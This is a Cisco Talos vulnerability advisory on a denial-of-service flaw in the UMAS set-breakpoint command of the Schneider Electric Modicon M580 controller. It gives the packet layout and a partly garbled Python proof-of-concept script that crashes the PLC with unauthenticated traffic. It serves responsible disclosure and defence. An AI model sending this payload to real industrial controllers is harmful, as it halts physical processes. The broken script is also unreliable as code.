Talos Vulnerability Report


Schneider Electric Modicon M580 UMAS set breakpoint denial-of-service vulnerability

June 10, 2019
CVE Number



An exploitable denial-of-service vulnerability exists in the UMAS set breakpoint functionality of the Schneider Electric Modicon M580 Programmable Automation Controller, firmware version SV2.70. A specially crafted UMAS command can cause the device to enter a non-recoverable fault state, resulting in a complete stoppage of remote communications with the device. An attacker can send unauthenticated commands to trigger this vulnerability.

Tested Versions

Schneider Electric Modicon M580 BMEP582040 SV2.70

Product URLs


CVSSv3 Score

7.5 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H


CWE-248: Uncaught Exception


The Modicon M580 is the latest in Schneider Electric's Modicon line of programmable automation controllers. The device contains a Wurldtech Achilles Level 2 certification and global policy controls to quickly enforce various security configurations. Communication with the device is possible over FTP, TFTP, HTTP, SNMP, EtherNet/IP, Modbus and a management protocol referred to as "UMAS."

Use of the UMAS function code 0x60 sets a breakpoint on the specified rung. When the device is placed into an executable mode, a successfully placed breakpoint will cause execution to pause until a step, continue, or other applicable command is issued. If a set breakpoint command is issued with certain parameters, it is possible to make the device enter a non-recoverable fault state, causing a denial-of-service condition.

The structure of the SET_BREAKPOINT command takes a form similar to:

    0   1   2   3   4   5   6   7   8   9   a   b   c   d   e   f
0 | A | B | C |       D       |   E   |       F       |   G   | H 
1   H |   I   |

A --> Modbus Function Code (0x5a)
B --> Session
C --> UMAS Function Code   (0x60)
D --> Unknown              (0x00000000)
E --> Break or Watch       (0x0000)
F --> Unknown              (0x00000000)
G --> Block Number         (0x0000)
H --> Unknown              (0xff00)
I --> Unknown              (0x0000) 

In the non-recoverable fault state, the CPU has entered an error mode where all remote communications have been stopped, process logic stops execution, and the device requires a physical power cycle to regain functionality.

Exploit Proof of Concept

import socket
from scapy.all import Raw
from scapy.contrib.modbus import ModbusADURequest
from scapy.contrib.modbus import ModbusADUResponse

def send_message(sock, umas, data=None, wait_for_response=True):
    if data == None:
        packet = ModbusADURequest(transId=1)/umas
        packet = ModbusADURequest(transId=1)/umas/data
    msg = "%s" % Raw(packet)
    resp = ""
    if wait_for_response:
        resp = sock.recv(2048)
    return resp

def main():
    rhost = ""
    rport = 502

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((rhost, rport))

    mbtcp_fnc = "\x5a"
    init_session = "\x00"
    umas_fnc = "\x10"
    unknown = "\x25\x10\x00\x00"
    client_name = "test"
    client_name_len = len(client_name)
    umas = "%s%s%s%s%s%s" % (mbtcp_fnc, init_session, umas_fnc, unknown, client_name_len, client_name)
    res = send_message(sock=s, umas=umas)
    if res[9] == "\xfe":
        session = res[-1]

        # breakpoint crash
        mbtcp_fnc = "\x5a"
        umas_fnc = "\x60"
        data = "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\x00\x00\x00"
        umas = "%s%s%s%s" % (mbtcp_fnc, session, umas_fnc, data)
            send_message(sock=s, umas=umas)
        except socket.timeout:
        print "[!] an error has occurred getting the PLC reservation"

    # clean up

if __name__ == '__main__':


2019-01-29 - Vendor Disclosure
2019-04-17 - 90 day notice, extended public disclosure to 2019-05-29
2019-04-19 - Vendor provided timeline estimates for fixes/disclosures for multiple issues
2019-05-14 - Vendor patched
2019-05-20 - Vendor confirmed CVE assignment
2019-06-10 - Public Release


Discovered by Jared Rittle of Cisco Talos